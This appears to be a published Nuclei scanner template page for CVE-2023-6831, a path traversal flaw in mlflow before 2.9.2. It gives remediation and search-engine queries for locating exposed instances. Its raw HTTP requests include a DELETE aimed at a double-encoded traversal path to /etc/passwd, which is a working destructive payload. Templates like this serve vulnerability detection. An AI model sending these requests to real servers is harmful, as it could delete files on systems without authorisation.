mlflow - Path Traversal
ID: CVE-2023-6831
Severity: high
Author: byObin
Tags: cve,cve2023,mlflow,pathtraversal,lfprojects,intrusive
Description
Section titled “Description”Path Traversal: ’\..\filename’ in GitHub repository mlflow/mlflow prior to 2.9.2.
YAML Source
Section titled “YAML Source”id: CVE-2023-6831
info: name: mlflow - Path Traversal author: byObin severity: high description: | Path Traversal: '\..\filename' in GitHub repository mlflow/mlflow prior to 2.9.2. remediation: | Upgrade Mlflow to version 2.9.2 or later to mitigate the vulnerability. reference: - https://nvd.nist.gov/vuln/detail/CVE-2023-6831 - https://github.com/mlflow/mlflow/commit/1da75dfcecd4d169e34809ade55748384e8af6c1 - https://huntr.com/bounties/0acdd745-0167-4912-9d5c-02035fe5b314 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H cvss-score: 8.1 cve-id: CVE-2023-6831 cwe-id: CWE-22,CWE-29 epss-score: 0.00207 epss-percentile: 0.58698 cpe: cpe:2.3:a:lfprojects:mlflow:*:*:*:*:*:*:*:* metadata: verified: true max-request: 2 vendor: lfprojects product: mlflow shodan-query: "http.title:\"mlflow\"" fofa-query: - title="mlflow" - app="mlflow" google-query: intitle:"mlflow" tags: cve,cve2023,mlflow,pathtraversal,lfprojects,intrusive
http: - raw: - | PUT /api/2.0/mlflow-artifacts/artifacts/{{randstr}} HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded
{{randstr}}
- | DELETE /api/2.0/mlflow-artifacts/artifacts/%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252Fetc%252fpasswd HTTP/1.1 Host: {{Hostname}}
matchers-condition: and matchers: - type: word part: header_2 words: - "Content-Type: application/json" - "Server: gunicorn" condition: and
- type: word part: body_2 words: - "{}"
- type: status status: - 500# digest: 490a0046304402205ff2e173bf1391913f8c9df2feccddeb15b4846718e7ec03f5f25e946e7f182d0220435c31935f564af9378105e23c2d786b78759dd143531d309a664581fa622f22:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-6831.yaml"